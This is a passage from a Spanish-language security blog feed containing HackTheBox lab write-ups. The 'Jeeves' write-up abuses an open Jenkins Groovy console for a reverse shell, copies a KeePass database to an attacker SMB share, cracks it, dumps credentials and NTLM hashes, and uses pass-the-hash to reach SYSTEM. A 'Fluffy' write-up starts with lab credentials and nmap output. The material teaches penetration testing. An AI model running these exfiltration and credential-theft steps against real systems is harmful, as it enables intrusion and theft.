&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8045-baae-ebf91399148f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c7-844b-e8a97c7226e5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 50000 (Jetty):&lt;/strong&gt; Muestra un error 404 por defecto.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808a-b7d1-dbc791ca789d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Este error indica que hay un servidor web ejecutándose en tu puerto &lt;strong&gt;50000&lt;/strong&gt;, pero no hay ninguna página o contenido configurado en la raíz (&lt;code&gt;/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Realizamos Fuzzing de directorios en ambos puertos. El puerto 50000 no arroja resultados, pero el puerto 80 revela algo interesante.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-&lt;span style="color:#ae81ff"&gt;2.3&lt;/span&gt;-medium.txt -u http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.79.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;50000&lt;/span&gt;/FUZZ ---- NO ENCONTRAMOS NADA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-&lt;span style="color:#ae81ff"&gt;2.3&lt;/span&gt;-medium.txt -u http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.79.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;/FUZZ ---- askjeeves [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;302&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 54ms]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="acceso-inicial-jenkins"&gt;Acceso Inicial (Jenkins)&lt;/h2&gt;
&lt;p&gt;Al acceder a &lt;code&gt;http://10.129.79.44/askjeeves&lt;/code&gt;, encontramos un servidor de automatización &lt;strong&gt;Jenkins&lt;/strong&gt; (versión 2.87).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80ba-b41a-c5d84df3c4f0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="explotación-de-groovy-script-console"&gt;Explotación de Groovy Script Console&lt;/h3&gt;
&lt;p&gt;No se requieren credenciales. Podemos acceder a &lt;code&gt;Manage Jenkins&lt;/code&gt; -&amp;gt; &lt;code&gt;Script Console&lt;/code&gt;. Esta consola permite ejecutar scripts en &lt;strong&gt;Groovy&lt;/strong&gt;, lo cual equivale a ejecución de comandos en el sistema.&lt;/p&gt;
&lt;p&gt;Probamos una Reverse Shell en Groovy:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-802c-b812-df7729a7b505.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808b-a7ab-ed6d5d36e1e0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Conseguimos acceso como el usuario: &lt;code&gt;jeeves\kohsuke&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Enumeramos buscando la user flag que la encontramos en el directorio ‘Desktop’ de este mismo usuario.&lt;/p&gt;
&lt;p&gt;Enumerando el sistema de archivos de &lt;code&gt;kohsuke&lt;/code&gt;, encontramos un archivo interesante en el directorio ‘Documents’:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8030-9245-ef1c47ee0cde.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La extensión &lt;code&gt;.kdbx&lt;/code&gt; pertenece a &lt;strong&gt;KeePass&lt;/strong&gt;, que es un gestor de contraseñas de código abierto.&lt;/p&gt;
&lt;h2 id="post-explotación-y-movimiento-lateral"&gt;Post-Explotación y Movimiento Lateral&lt;/h2&gt;
&lt;h3 id="exfiltración-con-smbserver"&gt;Exfiltración con SMBServer&lt;/h3&gt;
&lt;p&gt;Levantamos un servidor SMB en Kali y copiamos el archivo desde la máquina víctima.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;En Kali (Atacante)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo impacket-smbserver share -smb2support /home/kali//Desktop/HTB/Jeeves/loot/share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] User JEEVES\kohsuke authenticated successfully
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] kohsuke::JEEVES&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;aaaaaaaaaaaaaaaa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;7507b33e1ec7eb5636215c53f6838840&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000003f85a8258adc014b20a5279bb7f11d000000000100100046006d0075004f006f00700048006e000300100046006d0075004f006f00700048006e000200100077004b007800780061005600580068000400100077004b0078007800610056005800680007000800003f85a8258adc0106000400020000000800300030000000000000000000000000300000d25ba4cb43338289e6e027ea75d7d00fae7f01ff23696236086241c02e9b50070a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0034003400000000000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Connecting Share(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;share)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;En Windows (Víctima)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Users\kohsuke\Documents&amp;gt;copy CEH.kdbx \\&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;\share\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;copy CEH.kdbx \\&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;\share\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; file(s) copied.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="cracking-keepass"&gt;Cracking KeePass&lt;/h3&gt;
&lt;p&gt;Primero extraemos el hash del archivo &lt;code&gt;.kdbx&lt;/code&gt; y luego lo crackeamos con John the Ripper.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8033-bb0f-e4fbdc72c8b1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;john --format=keepass keepass.hash -w=/usr/share/wordlists/seclists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Loaded &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; password hash (KeePass [SHA256 AES &lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;moonshine1 (CEH)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="inspección-de-credenciales-kpcli"&gt;Inspección de Credenciales (Kpcli)&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;kpcli&lt;/code&gt; para abrir la base de datos con la contraseña obtenida.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8053-9abe-ddb5454c044d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Podemos ver las credenciales.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8021-997f-cb72b82132d0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Si las copiamos las tenemos en el copiapapeles.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kpcli&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/CEH&amp;gt; show &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Backup stuff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e0fb1fb85756c24235ff238cbe81fe00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kpcli&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/CEH&amp;gt; show -p &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Unknown option&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; p
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; It&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;s a secret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; F7WhTrSFDKB6sxHU1cUn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//localhost&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8180&lt;/span&gt;/secret.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Keys to the kingdom
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; bob
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; lCEUnYPjNfIuPZSzOySA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="escalada-de-privilegios-pass-the-hash"&gt;Escalada de Privilegios (Pass The Hash)&lt;/h2&gt;
&lt;p&gt;El hash encontrado en &amp;ldquo;Backup stuff&amp;rdquo; es un hash NTLM. Podemos usar la técnica &lt;strong&gt;Pass The Hash (PtH)&lt;/strong&gt; para autenticarnos como Administrador sin saber la contraseña en texto claro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8028-bbf4-f8c0847fcca8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Éxito! Obtenemos una shell como &lt;code&gt;nt authority\system&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c1-b2d7-e85a480e1efb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pues parece que no hemos acabado …&lt;/p&gt;
&lt;h2 id="el-rabbit-hole-de-la-root-flag-ads"&gt;El &amp;ldquo;Rabbit Hole&amp;rdquo; de la Root Flag (ADS)&lt;/h2&gt;
&lt;p&gt;Al ir al directorio del Administrador (&lt;code&gt;C:\Users\Administrator\Desktop&lt;/code&gt;), encontramos un archivo &lt;code&gt;hm.txt&lt;/code&gt; pero &lt;strong&gt;no está la flag&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;root.txt&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Al leer &lt;code&gt;hm.txt&lt;/code&gt;, nos da una pista sobre &amp;ldquo;mirar más profundo&amp;rdquo;. Esto hace referencia a los &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Concepto: ADS&lt;br&gt;
En NTFS, un archivo puede tener múltiples flujos de datos adjuntos. El flujo principal es $DATA, pero se pueden ocultar datos detrás del archivo principal, invisibles para un dir normal o el explorador de Windows.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-805d-be76-ec4dda663a85.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="cómo-funcionan-los-ads"&gt;¿Cómo funcionan los ADS?&lt;/h3&gt;
&lt;p&gt;En un sistema NTFS, un archivo se identifica por el formato &lt;code&gt;nombre_archivo:nombre_stream&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Flujo estándar:&lt;/strong&gt; Cuando abres &lt;code&gt;archivo.txt&lt;/code&gt;, en realidad estás abriendo &lt;code&gt;archivo.txt:$DATA&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flujo alternativo:&lt;/strong&gt; Puedes crear algo como &lt;code&gt;archivo.txt:secreto.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="leer-el-contenido-del-flujo-oculto"&gt;Leer el contenido del flujo oculto&lt;/h3&gt;
&lt;p&gt;No se puede usar &lt;code&gt;type&lt;/code&gt; directamente sobre el stream. usamos el comando &lt;code&gt;more&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;code&gt;more &amp;lt; hm.txt:root.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ahora si conseguimos la root flag!&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Fluffy (Easy)</title><link>https://synacklabs.github.io/posts/fluffy/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/fluffy/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es un &lt;strong&gt;Domain Controller&lt;/strong&gt; de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso &lt;strong&gt;CVE-2025-24071&lt;/strong&gt; para forzar una autenticación SMB y capturar un &lt;strong&gt;hash NTLMv2&lt;/strong&gt;. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos &lt;strong&gt;GenericWrite&lt;/strong&gt;, realizo &lt;strong&gt;Shadow Credentials&lt;/strong&gt; con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de &lt;strong&gt;AD CS&lt;/strong&gt; identificada como &lt;strong&gt;ESC16&lt;/strong&gt; para impersonar a &lt;strong&gt;Administrator&lt;/strong&gt;.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es un &lt;strong&gt;Domain Controller&lt;/strong&gt; de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso &lt;strong&gt;CVE-2025-24071&lt;/strong&gt; para forzar una autenticación SMB y capturar un &lt;strong&gt;hash NTLMv2&lt;/strong&gt;. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos &lt;strong&gt;GenericWrite&lt;/strong&gt;, realizo &lt;strong&gt;Shadow Credentials&lt;/strong&gt; con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de &lt;strong&gt;AD CS&lt;/strong&gt; identificada como &lt;strong&gt;ESC16&lt;/strong&gt; para impersonar a &lt;strong&gt;Administrator&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-80da-860f-c99f94fb2f7b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="credenciales-iniciales"&gt;Credenciales iniciales&lt;/h3&gt;
&lt;p&gt;Credenciales dadas: j.fleischman:J0elTHEM4n1990!&lt;/p&gt;
&lt;h3 id="escaneo"&gt;Escaneo&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;23&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;55Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-19T23&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; +7h00m03s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Subject Alternative Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; othername&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.3&lt;/span&gt;.6.1.4.1.311.25.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&amp;lt;unsupported&amp;gt;, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=fluffy-DC01-CA/domainComponent=fluffy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
